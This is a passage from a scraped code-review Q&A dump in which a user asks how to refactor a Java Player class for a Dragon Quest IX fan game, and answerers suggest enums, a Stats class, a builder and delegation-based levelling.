"body": "<ul>\n<li>You are recreating TimeUnit.convert(long, TimeUnit) in your UnitConverter. Or, keeping with single responsiblity principle, I don't really see why a\nstopwatch should be able to do unit conversion.</li>\n<li>Elapsed time is always forced to double primitive type even if the user wants nothing but nanoseconds. See above.</li>\n<li>Rounding and formatting in toString should be done with DecimalFormat and RoundingMode (<a href=\"https://stackoverflow.com/questions/153724/how-to-round-a-number-to-n-decimal-places-in-java\">https://stackoverflow.com/questions/153724/how-to-round-a-number-to-n-decimal-places-in-java</a>). But in the end toString is a debugging method, which should output the exact state of the object and it shouldn't convert types or round values at all. See above.</li>\n<li>Decide between static initializer methods and public constructors. Having both types of initializers is confusing.</li>\n<li>Because primitive types can't convey the information, you should add the unit specifier to the names of your private members. E.g. elapsedNanos.</li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T10:12:54.720",
"Id": "212968",
"ParentId": "212799",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T15:32:53.963",
"Id": "212799",
"Score": "5",
"Tags": [
"java",
"object-oriented",
"timer"
],
"Title": "Stopwatch utility class in Java"
} | 212799 |
<p>I am recreating a game that I used to play on the Nintendo DSI, 'Dragon Quest IX'. I've made a player class, but have run into a code efficiency issue. When the <code>Player</code> object is first instantiated, it has a constructor parameter <code>player_class</code> that determines what class the user has chosen. In the method <code>setAttributes</code>, it determines the baseline stats for the newly created player. I use multiple if statements to achieve this. Is there any way I can make this more compact/efficient, without having to have big blocky if statements that generically contain all the same code? Any and all help/suggestions are appreciated and considered.</p>
<p><strong>Player.java</strong></p>
<pre><code>/*
* Player Class
*/
public class Player {
/*
* Private Instance Variables
*/
private String name;
private String player_class;
private int experience;
private int level;
private int gold;
private int hp;
private int mp;
private int strength;
private int agility;
private int resilience;
private int deftness;
private int charm;
private int magical_mending;
private int magical_might;
/*
* Bag object instantiation
*/
private Bag b;
/*
* New Player Constructor (no default since name is needed)
*/
public Player(String name, String player_class) {
this.name = name;
this.player_class = player_class;
this.experience = 0;
this.level = 0;
this.gold = 0;
this.b = new Bag();
}
/*
* Determine stats based on class chosen
*/
private void setAttributes() {
/*
* Can be optimized later, if statements will do
*/
if(this.player_class.equals("Warrior")) { /* DONE */
this.hp = 26;
this.mp = 4;
this.strength = 18;
this.agility = 4;
this.resilience = 18;
this.deftness = 5;
this.charm = 4;
this.magical_mending = 0;
this.magical_might = 0;
}
if(this.player_class.equals("Priest")) { /* DONE */
this.hp = 19;
this.mp = 14;
this.strength = 9;
this.agility = 14;
this.resilience = 9;
this.deftness = 9;
this.charm = 7;
this.magical_mending = 18;
this.magical_might = 0;
}
if(this.player_class.equals("Mage")) { /* DONE */
this.hp = 18;
this.mp = 16;
this.strength = 4;
this.agility = 18;
this.resilience = 7;
this.deftness = 14;
this.charm = 7;
this.magical_mending = 0;
this.magical_might = 18;
}
if(this.player_class.equals("Martial Artist")) { /* DONE */
this.hp = 24;
this.mp = 2;
this.strength = 18;
this.agility = 23;
this.resilience = 11;
this.deftness = 11;
this.charm = 5;
this.magical_mending = 0;
this.magical_might = 0;
}
if(this.player_class.equals("Thief")) { /* DONE */
this.hp = 23;
this.mp = 6;
this.strength = 13;
this.agility = 18;
this.resilience = 11;
this.deftness = 18;
this.charm = 3;
this.magical_mending = 4;
this.magical_might = 0;
}
if(this.player_class.equals("Minstrel")) { /* DONE */
this.hp = 20;
this.mp = 6;
this.strength = 9;
this.agility = 8;
this.resilience = 8;
this.deftness = 12;
this.charm = 9;
this.magical_mending = 7;
this.magical_might = 6;
}
if(this.player_class.equals("Gladiator")) { /* DONE */
this.hp = 32;
this.mp = 2;
this.strength = 30;
this.agility = 7;
this.resilience = 19;
this.deftness = 15;
this.charm = 5;
this.magical_mending = 0;
this.magical_might = 0;
}
if(this.player_class.equals("Armamentalist")) { /* DONE */
this.hp = 32;
this.mp = 14;
this.strength = 21;
this.agility = 10;
this.resilience = 15;
this.deftness = 7;
this.charm = 11;
this.magical_mending = 0;
this.magical_might = 17;
}
if(this.player_class.equals("Paladin")) { /* DONE */
this.hp = 36;
this.mp = 11;
this.strength = 21;
this.agility = 4;
this.resilience = 22;
this.deftness = 1;
this.charm = 7;
this.magical_mending = 10;
this.magical_might = 0;
}
if(this.player_class.equals("Ranger")) { /* DONE */
this.hp = 31;
this.mp = 14;
this.strength = 18;
this.agility = 16;
this.resilience = 14;
this.deftness = 30;
this.charm = 4;
this.magical_mending = 12;
this.magical_might = 0;
}
if(this.player_class.equals("Sage")) { /* DONE */
this.hp = 29;
this.mp = 30;
this.strength = 12;
this.agility = 13;
this.resilience = 12;
this.deftness = 3;
this.charm = 14;
this.magical_mending = 12;
this.magical_might = 14;
}
if(this.player_class.equals("Luminary")) { /* DONE */
this.hp = 31;
this.mp = 13;
this.strength = 9;
this.agility = 22;
this.resilience = 12;
this.deftness = 16;
this.charm = 18;
this.magical_mending = 19;
this.magical_might = 5;
}
}
/*
* levelUp method for increasing stats of player
*/
public void levelUp() {
this.hp += this.level + 5;
this.mp += this.level + 2;
this.strength += this.level + 2;
this.agility += this.level + 2;
this.resilience += this.level + 1;
this.deftness += this.level + 2;
this.charm += this.level + 1;
this.magical_mending += this.level * 2;
this.magical_might += this.level * 2;
this.level += 1;
}
/*
* sellItem, sells item for value
*/
public void sellItem(Item[] item) {
this.gold += item.getValue();
for(int i = 0; i <= this.bag.length - 1; i++) {
if(this.bag[i].getName().equals(item.getName())) {
this.bag[i] == null;
break;
}
}
}
/*
* buyItem, used to add item from vendor
*/
public void buyItem(Item[] item) {
if(this.gold >= item.getValue()) {
this.gold -= item.getValue();
for(int i = 0; i <= this.bag.length - 1; i++) {
if(!(this.bag[i] == null)) {
this.bag[i] == item;
break;
}
}
} else {
System.out.println("Cannot Afford Item!");
}
}
/*
* addItem, used for adding items from monster drops
*/
public void addItem(Item[] item) {
for(int i = 0; i <= this.bag.length - 1; i++) {
if(!(this.bag[i] == null)) {
this.bag[i] == item;
break;
}
}
}
/*
* useItem, for items in medical class
*/
public void useItem(Medical item) {
this.hp += item.getHealValue();
for(int i = 0; i <= this.bag.length - 1; i++) {
if(this.bag[i].getName().equals(item.getName())) {
this.bag[i] == null;
break;
}
}
}
/*
* isDead method, returns a boolean if current health is less than/equal to 0
*/
public boolean isDead() {
return this.hp <= 0;
}
/*
* Getters for player class below
*/
public int getLevel() {
return this.level;
}
public int getGold() {
return this.gold;
}
}
</code></pre>
<p><strong>tester.java</strong></p>
<pre><code>/*
* Tester class for Enemy/Player
*/
public class tester {
/*
* Main Method
*/
public static void main(String[] args) {
Player player = new Player("Ben", "Warrior");
}
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T18:05:37.767",
"Id": "411582",
"Score": "3",
"body": "Is passing an array of items to `sellItem(Item[] item)` a typo?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T18:40:57.590",
"Id": "411584",
"Score": "0",
"body": "@vnp Yes, all instances of `Item[] item` should be replaced with `Item item`, thank you for noticing!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T22:41:50.453",
"Id": "411598",
"Score": "0",
"body": "Why not define an interface `Player` and make all player classes implement it?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T22:49:16.330",
"Id": "411601",
"Score": "0",
"body": "you probably should remove methods that aren't relevant from the question (like `levelUp` and `addItem`)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T12:05:43.817",
"Id": "411641",
"Score": "1",
"body": "@bipll that would lead to a lot of duplicate code and potential problem down the lines based on what classes are responsible of. For example, let's say we want to implement multi-classing and you try to make a ranger/thief. You can't really extend both classes (in Java). It's also meaningless, as all mechanics would need to be custom - you can't just do `levelUp()` and apply both templates. Which, in turn, means that your ranger/thief class is *completely separate* from both the ranger and the thief classes - changes to `Ranger` don't carry-over."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T16:00:11.473",
"Id": "411667",
"Score": "0",
"body": "As i see it is possible to sell a item one don't have and got the gold from it. So it can be happend that a item could be created with a value of 9999999.... gold and then the given to the sellItem Method. The character get the gold and nothing else happens. So first check if the Item is inside the bag, remove it from the bag and then give the character the gold instead of the other way around"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T16:02:13.593",
"Id": "411669",
"Score": "1",
"body": "Perhaps worth mentioning is the fact that most professionally made games use the [ECS (Entity-Component-System)](https://en.wikipedia.org/wiki/Entity%E2%80%93component%E2%80%93system) pattern. Definitely worth a look, it's very interesting!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T20:18:06.103",
"Id": "411828",
"Score": "0",
"body": "While my Java is more than a little rusty, but wouldn't the idiomatic OOP approach be to create, you know... a class?"
}
] | [
{
"body": "<p>First, I would not use Strings here to represent class types. Say you accidentally typo a class name:</p>\n\n<pre><code>new Player(\"Hero\", \"Theif\") // Whoops\n</code></pre>\n\n<p>Now <code>setAttributes</code> silently \"fails\" and doesn't set anything. You could manually handle bad cases like this, but now you're handling bad data at runtime that could have been caught at compile time.</p>\n\n<p>If you have a limited set of options, create an <code>enum</code>:</p>\n\n<pre><code>public enum PlayerClass {\n WARRIOR, PRIEST, MAGE, ... \n}\n</code></pre>\n\n<p>Then use it like:</p>\n\n<pre><code>private PlayerClass player_class;\n\n. . .\n\nif(this.player_class == WARRIOR)) { ...\n</code></pre>\n\n<p>The immediate benefits are IDEs can help auto-complete enum names so typos are difficult to cause, <em>and</em>, if you do typo a name, it will fail with an error at compile time instead of having code-dependent effects at runtime.</p>\n\n<p>This doesn't answer your main question, but it's an important point. Don't use Strings to mark \"members of a set\", like you're using in this case to mark members of the player class set.</p>\n\n<hr>\n\n<p>I'd refactor your class a bit to make dealing with class stats easier. I think <code>Player</code> is too big, with too many fields. I would create a <code>Stats</code> class:</p>\n\n<pre><code>class Stats {\n public int hp;\n public int mp;\n public int strength;\n public int agility;\n public int resilience;\n public int deftness;\n public int charm;\n public int magical_mending;\n public int magical_might;\n\n // Copy constructor to make copying stats easier\n public Stats(Stats other) {\n this(other.hp, other.mp,\n other.strength, other.agility, other.resilience, other.deftness,\n other.charm, other.magical_mending, other.magical_might);\n }\n\n // This part sucks, but it's necessary in POD classes\n public Stats(int hp, int mp,\n int strength, int agility, int resilience, int deftness,\n int charm, int magical_mending, int magical_might) {\n\n this.hp = hp;\n this.mp = mp;\n this.strength = strength;\n this.agility = agility;\n this.resilience = resilience;\n this.deftness = deftness;\n this.charm = charm;\n this.magical_mending = magical_mending;\n this.magical_might = magical_might;\n }\n}\n</code></pre>\n\n<p>Then create a mapping between class types and instances of stats:</p>\n\n<pre><code>// \"of\" requires Java 9\nMap<PlayerClass, Stats> classToStats = Map.of(\n PlayerClass.WARRIOR, new Stats(26, 4, 18, 4, 18, 5, 4, 0, 0),\n PlayerClass.PRIEST, new Stats(19, 14, 9, 14, 9, 9, 7, 18, 0)\n // ...\n);\n</code></pre>\n\n<p>And use it in the player constructor:</p>\n\n<pre><code>public class Player {\n private String name;\n private PlayerClass playerClass;\n private Stats stats;\n\n public Player(String name, PlayerClass playerClass) {\n this.name = name;\n this.playerClass = playerClass;\n\n // Using the copy constructor of Stats to prevent multiple players getting the same mutable stat object\n this.stats = new Stats(classToStats.get(playerClass));\n }\n\n}\n</code></pre>\n\n<p>There's going to be bulk <em>somewhere</em> that decides what stats each class have. You just need to find how you can organize the bulk so it's readable and easier to deal with.</p>\n\n<p>The main issue with this design choice is <code>hp</code> and <code>mp</code> are now a part of <code>Stats</code>, which feels a little odd since these are \"fluid\" values that can change often. Now to damage the player, you need to alter <code>player.stats.hp</code>. It may be better to change <code>hp</code> and <code>mp</code> in <code>Stats</code> to <code>maxHp</code> and <code>maxMP</code> (since you'd likely need to track those values anyways), then give <code>Player</code> back <code>hp</code> and <code>mp</code> fields that you alter as needed.</p>\n\n<hr>\n\n<p>And just a note, Java uses camelCase, not snake_case.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T22:41:10.843",
"Id": "411597",
"Score": "1",
"body": "You're basically introducing prototype inheritance in Java, right?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T22:44:30.147",
"Id": "411599",
"Score": "1",
"body": "@bipll I'm not sure what you mean. I wouldn't really consider anything here to be \"inheritance\". If you're referring to a Javascript idiom, I'm not super rehearsed with JS. I only know it superficially. Which part are you referring to?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T22:48:01.230",
"Id": "411600",
"Score": "1",
"body": "`this.stats = new Stats(classToStats.get(playerClass));` Here you use a value stored in `classToStats` as a prototype for a concrete character. No more is it a Javascript idiom than integer addition is."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T22:57:43.467",
"Id": "411603",
"Score": "1",
"body": "@bipll Mmm. I had never looked into the Prototype Pattern before. Yes, I can see how this may fall into that. Members of `classToStats` act as a \"prototype\" that can be altered later as needed. When I wrote this, I was thinking of those members more as \"initial presets\". It would certainly be possible to create your own `Stats` object though without needing to copy an existing one."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T21:40:41.740",
"Id": "411698",
"Score": "2",
"body": "This isn't really prototype inheritance. It would be prototype inheritance if changing the classToStats map at runtime would update all existing instances of `Player`, which isn't the case. In fact, removing the `new Stats` part and just saying `classToStats.get(playerClass)` would make this prototype inheritance."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T21:43:54.003",
"Id": "411699",
"Score": "2",
"body": "@FireCubez I explicitly wanted to avoid that though as far reaching mutations tend to screw you more often than help you in my experience. It may be beneficial in some scenarios, but I can see that leading to unwanted changes in this case if two players started with the same class."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T23:55:01.603",
"Id": "411707",
"Score": "1",
"body": "I believe you can use EnumMap as opposed to Map.of, makes the map implementation more optimized."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T23:57:46.243",
"Id": "411709",
"Score": "1",
"body": "@MarDev There are many ways to construct the map. I was going for brevity here. Optimization likely isn't a concern anyways though, since in the current design, the map is only accessed in the Player constructor, and it's unlikely that Players would be created at a rate high enough to justify optimizating map access."
}
],
"meta_data": {
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T18:26:50.353",
"Id": "212805",
"ParentId": "212802",
"Score": "36"
}
},
{
"body": "<p>I'm not a Java developer, but a quick tip I can provide is to avoid comments that don't explain anything. See:</p>\n\n<pre><code>/*\n* Player Class\n*/\npublic class Player {\n</code></pre>\n\n<p>What's the benefit of this comment? It says exactly the same thing as the following line of code. Also, if at some point you decide that this <code>Player</code> class would better fit under a different name, like <code>Character</code> or <code>Entity</code>, chances are you will forget to change the comment in which case it will straight up lie about the code.</p>\n\n<p>On the subject of lying, this comment already does:</p>\n\n<pre><code>/*\n* Bag object instantiation\n*/\nprivate Bag b;\n</code></pre>\n\n<p>This is not an instantiation of the bag object - it's only a declaration.</p>\n\n<p>I understand that those comments may be helpful from a beginner perspective, before things like the class declaration, constructors, fields etc become idiomatic. Over time you'll find that if you remove comments like these you'll reduce the noise in your code and make it actually easier to follow. Might as well start early.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T12:40:19.073",
"Id": "411647",
"Score": "4",
"body": "As a Java developer, there is another thing that is going to be of use here - [javadoc comments](https://docs.oracle.com/javase/8/docs/technotes/tools/windows/javadoc.html). In short, they are block comments but start with `/**` - two starts instead of one. You can use additional syntax to formally describe methods and classes, like `@param name - no default provided` for the constructor and `isDead()` can have `@return - whether the player is dead`. The latter is still largely useless... a more real example might be something like `@return the sum of all attributes or zero if incapacitated`"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T01:56:57.060",
"Id": "212819",
"ParentId": "212802",
"Score": "10"
}
},
{
"body": "<p>First of all, mine is an addition to <a href=\"https://codereview.stackexchange.com/a/212805/110993\">Carcigenicate's answer</a>. This is taking some of the concepts one step further and refining them using <a href=\"https://en.wikipedia.org/wiki/Software_design_pattern\" rel=\"noreferrer\">design patterns</a></p>\n\n<pre><code>// This part sucks, but it's necessary in POD classes\npublic Stats(int hp, int mp,\n int strength, int agility, int resilience, int deftness,\n int charm, int magical_mending, int magical_might) {\n\n this.hp = hp;\n this.mp = mp;\n this.strength = strength;\n this.agility = agility;\n this.resilience = resilience;\n this.deftness = deftness;\n this.charm = charm;\n this.magical_mending = magical_mending;\n this.magical_might = magical_might;\n}\n</code></pre>\n\n<p>I agree with the comment - this does suck. The problem here is remembering what is what, when we do <code>new Stats(1, 2, 3, 4, 5, 6, 7, 8, 9)</code> it's very hard to remember what <code>6</code> is or if that's even the correct number of arguments. I even had to check <em>three times</em> to make sure it was correct and even then I found I had miscounted. To solve this problem, we can use the <a href=\"https://en.wikipedia.org/wiki/Builder_pattern\" rel=\"noreferrer\">Builder pattern</a>:</p>\n\n<pre><code>public class StatsBuilder {\n private int hp;\n private int mp;\n private int strength;\n private int agility;\n private int resilience;\n private int deftness;\n private int charm;\n private int magicalMending;\n private int magicalMight;\n\n public StatsBuilder setHp(int hp) {\n this.hp = hp;\n return this;\n }\n\n public StatsBuilder setMp(int mp) {\n this.mp = mp;\n return this;\n }\n\n public StatsBuilder setStrength(int strength) {\n this.strength = strength;\n return this;\n }\n\n public StatsBuilder setAgility(int agility) {\n this.agility = agility;\n return this;\n }\n\n public StatsBuilder setResilience(int resilience) {\n this.resilience = resilience;\n return this;\n }\n\n public StatsBuilder setDeftness(int deftness) {\n this.deftness = deftness;\n return this;\n }\n\n public StatsBuilder setCharm(int charm) {\n this.charm = charm;\n return this;\n }\n\n public StatsBuilder setMagicalMending(int magicalMending) {\n this.magicalMending = magicalMending;\n return this;\n }\n\n public StatsBuilder setMagicalMight(int magicalMight) {\n this.magicalMight = magicalMight;\n return this;\n }\n\n public Stats build() {\n return new Stats(hp, mp, strength, agility, resilience, deftness, charm, magicalMending, magicalMight);\n }\n}\n</code></pre>\n\n<p>Note: a lot of IDEs have support to generate this for you via refactoring tools. They can even replace any direct calls to the constructor with using the Builder. </p>\n\n<p>Since it a <a href=\"https://en.wikipedia.org/wiki/Fluent_interface\" rel=\"noreferrer\">fluent interface</a> we can chain the calls, so </p>\n\n<pre><code>new Stats(26, 4, 18, 4, 18, 5, 4, 0, 0)\n</code></pre>\n\n<p>turns into the much more descriptive, albeit longer</p>\n\n<pre><code>new StatsBuilder()\n .setHp(26)\n .setMp(4)\n .setStrength(18)\n .setAgility(4)\n .setResilience(18)\n .setDeftness(5)\n .setCharm(4)\n .setMagicalMending(0)\n .setMagicalMight(0)\n .build()\n</code></pre>\n\n<p>We now know exactly what you're setting to what without needing to look up the values. We can even set these in any order you want.</p>\n\n<p>The Builder can also make copies of the stats for you if you just define a method <code>Stats buildFrom(Stats otherStats)</code> that takes a <code>Stats</code> object and creates a new one copying each property. But I'm just mentioning it, you might opt for a different route.</p>\n\n<hr>\n\n<p>In addition to this, as a further step from removing the stats logic from the <code>Player</code> class, we can also remove the level up logic by using a <a href=\"https://en.wikipedia.org/wiki/Delegation_(object-oriented_programming)\" rel=\"noreferrer\">delegation</a></p>\n\n<p>Here is what this can look like. First, we'll separate the levelling functionality:</p>\n\n<pre><code>public class Leveller {\n public void levelUp(Player player) {\n player.getStats().setHp(player.getStats().getHP() + player.getLevel() + 5);\n player.getStats().setMp(player.getStats().getMp() + player.getLevel() + 2);\n player.getStats().setStrength(player.getStats().getStrength() + player.getLevel() + 2);\n player.getStats().setAgility(player.getStats().getAgility() + player.getLevel() + 2);\n player.getStats().setResilience(player.getStats().getResilience() + player.getLevel() + 1);\n player.getStats().setDeftness(player.getStats().getDeftness() + player.getLevel() + 2);\n player.getStats().setCharm(player.getStats().getCharm() + player.getLevel() + 1);\n player.getStats().setMagicalMending(player.getStats().getMagicalMending() + player.getLevel() * 2);\n player.getStats().setMagicalMight(player.getStats().getMagicalMight() + player.getLevel() * 2);\n\n player.setLevel(player.getLevel() + 1);\n }\n}\n</code></pre>\n\n<p>This is verbose but can be made shorter. For example, if you implement <code>addX</code> methods, that does <code>addX(int newX) { this.x += newX }</code> for each of the attributes and maybe if you also just pass in <code>Stats</code> and <code>level</code>, so you don't have to do <code>.getStats()</code> and <code>.getLevel()</code> all the time. These are options - it's your choice. This an implementation only utilizes <code>get</code> and <code>set</code> methods for illustrative purposes.</p>\n\n<p>Now, we can have the <code>Leveller</code> handle any levelups, thus removing that logic from the <code>Player</code> class. You can implement this like so:</p>\n\n<pre><code>public class Player {\n // other private variables\n //. . .\n // /other private variables\n\n private Leveller leveller = new Leveller();\n\n // other methods\n // . . .\n // /other methods\n\n public void levelUp() {\n leveller.levelUp(this);\n }\n}\n</code></pre>\n\n<p>You can even make the <code>Leveller</code> a <code>private static final</code> variable, as it's not going to change at runtime, nor do you need multiple of these objects - a single <code>Leveller</code> can handle any player.</p>\n\n<hr>\n\n<p>However, taking this out leads to something interesting we can do. But to get there, first let's take a look at <a href=\"https://docs.oracle.com/javase/tutorial/java/javaOO/enum.html\" rel=\"noreferrer\">Java enums</a> - the most important thing about them is that unlike other languages, Java enums are entire classes by themselves and can have methods and variables. In our case, this means we can associate classes more strongly with their stats by integrating them into the enum:</p>\n\n<pre><code>public enum PlayerClass {\n WARRIOR, PRIEST, MAGE, ... \n}\n</code></pre>\n\n<p>and </p>\n\n<pre><code>Map<PlayerClass, Stats> classToStats = Map.of(\n PlayerClass.WARRIOR, new Stats(26, 4, 18, 4, 18, 5, 4, 0, 0),\n PlayerClass.PRIEST, new Stats(19, 14, 9, 14, 9, 9, 7, 18, 0)\n // ...\n);\n</code></pre>\n\n<p>can be more explicitly bound together by in this:</p>\n\n<pre><code>public enum PlayerClass {\n\n WARRIOR(new Stats(26, 4, 18, 4, 18, 5, 4, 0, 0)), //<-- we are passing new Stats(/*...*/) into the constructor\n PRIEST(new Stats(19, 14, 9, 14, 9, 9, 7, 18, 0)),\n //...\n ; //<-- the semi-colon is needed if you want to define variables, methods, or a constructor\n\n private final Stats startingStats;\n\n PlayerClass(Stats startingStats) {\n this.startingStats = startingStats;\n }\n\n public Stats getStartingStats() {\n return startingStats; //it might be easier you can return a copy here but I'm keeping the code simple\n }\n}\n</code></pre>\n\n<p>You can, of course, use the <code>StatsBuilder</code> to be more clear. I opted for conciseness and closeness to the previous example.</p>\n\n<p>At any rate, now we have a more explicitly bound stats to classes because they really aren't separable - you can't have the warrior without the warrior's stats or vice versa. When we define them in the same place we enforce that binding and make it clear how it works. Otherwise if you come back to this code in a year, you might struggle to find where the connection between class and stats was.</p>\n\n<hr>\n\n<p>So, let's now come back to <code>Leveller</code> and what is the interesting thing to do here. We can have a <code>Leveller</code> as a variable defined in the <code>PlayerClass</code> enum. It doesn't make sense <em>right now</em> as there is a single level up mechanic defined, however, it might if we want a separate ones that can vary per class. For now, let's make it simple - we'll define a <code>MagicLeveller</code> and <code>MightLeveller</code> that will increase the stats for mages and fighters.</p>\n\n<p>Here, we can use the <a href=\"https://en.wikipedia.org/wiki/Template_method_pattern\" rel=\"noreferrer\">Template Method design pattern</a>. First we can define <code>Leveller</code> to be an abstract class - we always want to increase the level but the stat increases can be different:</p>\n\n<pre><code>public abstract class Leveller {\n public void levelUp(Player player) {\n this.incrementStats(player);\n\n player.setLevel(player.getLevel() + 1); //<-- common levelup code\n }\n\n protected abstract void incrementStats(Player player); //<-- to be implemented by subclasses\n}\n</code></pre>\n\n<p>Now we can split the stat progression </p>\n\n<pre><code>public class MagicLeveller extends Leveller {\n public void incrementStats(Player player) {\n player.getStats().setHp(player.getStats().getHP() + player.getLevel() + 5);\n player.getStats().setMp(player.getStats().getMp() + player.getLevel() + 2);\n player.getStats().setStrength(player.getStats().getStrength() + player.getLevel() + 2);\n player.getStats().setAgility(player.getStats().getAgility() + player.getLevel() + 2);\n player.getStats().setResilience(player.getStats().getResilience() + player.getLevel() + 1);\n player.getStats().setDeftness(player.getStats().getDeftness() + player.getLevel() + 2);\n player.getStats().setCharm(player.getStats().getCharm() + player.getLevel() + 1);\n player.getStats().setMagicalMending(player.getStats().getMagicalMending() + player.getLevel() * 2);\n player.getStats().setMagicalMight(player.getStats().getMagicalMight() + player.getLevel() * 2);\n }\n}\n</code></pre>\n\n<p>and </p>\n\n<pre><code>public class MightLeveller extends Leveller {\n protected void incrementStats(Player player) {\n player.getStats().setHp(player.getStats().getHP() + player.getLevel() + 10);\n player.getStats().setMp(player.getStats().getMp() + player.getLevel() + 1);\n player.getStats().setStrength(player.getStats().getStrength() + player.getLevel() + 4);\n player.getStats().setAgility(player.getStats().getAgility() + player.getLevel() + 4);\n player.getStats().setResilience(player.getStats().getResilience() + player.getLevel() + 2);\n player.getStats().setDeftness(player.getStats().getDeftness() + player.getLevel() + 1);\n player.getStats().setCharm(player.getStats().getCharm() + player.getLevel() + 1);\n player.getStats().setMagicalMending(player.getStats().getMagicalMending() + player.getLevel() * 1);\n player.getStats().setMagicalMight(player.getStats().getMagicalMight() + player.getLevel() * 1);\n }\n}\n</code></pre>\n\n<p>The values are for illustration purposes. I'm not sure if they make sense in your case but it's just to show you now have two different progression paths. So, now we can bind these paths to the classes explicitly:</p>\n\n<pre><code>public enum PlayerClass {\n\n WARRIOR(\n new Stats(26, 4, 18, 4, 18, 5, 4, 0, 0),\n new MightLeveller() //<-- this class progresses like a physical fighter\n ),\n PRIEST(\n new Stats(19, 14, 9, 14, 9, 9, 7, 18, 0),\n new MagicLeveller() //<-- this class progresses like a spellcaster\n ),\n MAGE(\n new Stats(18, 16, 4,18, 7, 14, 7, 0, 18),\n new MagicLeveller() //<-- this class also progresses like a spellcaster\n )\n //...\n ; \n\n private final Stats stats;\n private final Leveller leveller;\n\n PlayerClass(Stats stats, Leveller leveller) {\n this.stats = stats;\n this.leveller = leveller;\n }\n\n public Stats getStats() {\n return stats;\n }\n\n public Leveller getLeveller() {\n return leveller;\n }\n}\n</code></pre>\n\n<p>In the <code>Player</code> class, the <code>levelUp</code> method can now look like this</p>\n\n<pre><code>public void levelUp() {\n this.playerClass.getLeveller().levelUp(this);\n}\n</code></pre>\n\n<p>Which means that the <code>Player</code> still doesn't need to have the logic for levelling nor does it even know or care what class it is. All that logic is separated away. We can easily have more levelling mechanics, even one for for each class if we wanted. If we made added the following method to <code>PlayerClass</code></p>\n\n<pre><code>public void levelUp(Player player) {\n this.leveller.levelUp(player)\n}\n</code></pre>\n\n<p>then the <code>Player</code> class doesn't even need to know or care about what a <code>Leveller</code> is, as it would just call <code>this.playerClass.levelUp(this)</code>. Perhaps we choose to change this in the future and we don't need to touch the <code>Player</code> class. </p>\n\n<hr>\n\n<p>Just a note on delegation here: This is a good example of delegation versus inheritance. Inheritance defines a <em>is-a</em> relationship, while delegation defines a <em>has-a</em> relationship. In this case we define that:</p>\n\n<ul>\n<li>The concrete level up mechanic (<code>MightLeveller</code>) <strong>is</strong> a type of level up mechanic (<code>extends Leveller</code>)</li>\n<li>a Warrior <strong>has</strong> starting stats of <code>26, 4, 18, 4, 18, 5, 4, 0, 0</code> </li>\n<li>it also <strong>has</strong> a levelling progression for might heroes</li>\n<li>the Warrior <strong>is</strong> a <code>PlayerClass</code>. Although that is a little less clear here as it's an enum (not the normal inheritance route)</li>\n</ul>\n\n<p>It's worth emphasising because the delegation vs inheritance comes up a lot in object oriented programming but I find it's not explained well in the beginning, which leads to some misunderstandings later on. By structuring our classes using delegation, we have a lot of freedom about their components.</p>\n\n<p>If you've noticed, this means that our player <strong>has</strong> a <code>PlayerClass</code> as opposed to <strong>is</strong> a <code>PlayerClass</code> (that would have been the case if it extended <code>PlayerClass</code> somehow). In this case the natural language root of is/has can be murky - it makes a bit more sense to say that \"He is a Warrior\" as opposed to \"He has the Warrior class\", although they can both be correct. And indeed, we could model both of these in the system, if we wanted. However, having the class and its associated mechanics as a delegate, allows more freedom in the system because it follows the <a href=\"https://en.wikipedia.org/wiki/Single_responsibility_principle\" rel=\"noreferrer\">single responsibility principle</a> - the <code>Player</code> doesn't need to know about how classes exactly operate in order to function. <code>Player</code> only needs to know it can get its starting stats and increase its stats each level and <em>somebody else is responsible</em> for how that is implemented.</p>\n\n<hr>\n\n<p>Another note about <code>Leveller</code> and its associated subclasses. I've chosen here to make it an abstract class. You can also opt to make it an interface and so <code>MagicLeveller</code> and <code>MightLeveller</code> would not be subclasses but implementations of the interface. Both are viable options. My decision for an abstract class here was partly to showcase the template method design pattern and thus have common functionality. For example, you can have a baseline stat growth for all classes - let's say everybody gets +1 to all stats but Might classes get further bonus to Strength and HP, while Magic classes get bonus to Magical Might. And so on.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T12:21:31.883",
"Id": "411642",
"Score": "3",
"body": "Good calls. Ya, I definately could have taken my review further. I'm glad someone did though."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T12:29:45.433",
"Id": "411646",
"Score": "2",
"body": "@Carcigenicate yeah. It's not a short task. This answer is already quite long and it's mostly just based on yours. There are other things that can be changed in a similar way but hopefully after understanding the concepts, these would become clear. For example, the logic for items can also be separated from the `Player` in a similar way that the classes are. But going in that direction would make this answer *even longer*. There are other things I've not even touched upon like comments, too..."
}
],
"meta_data": {
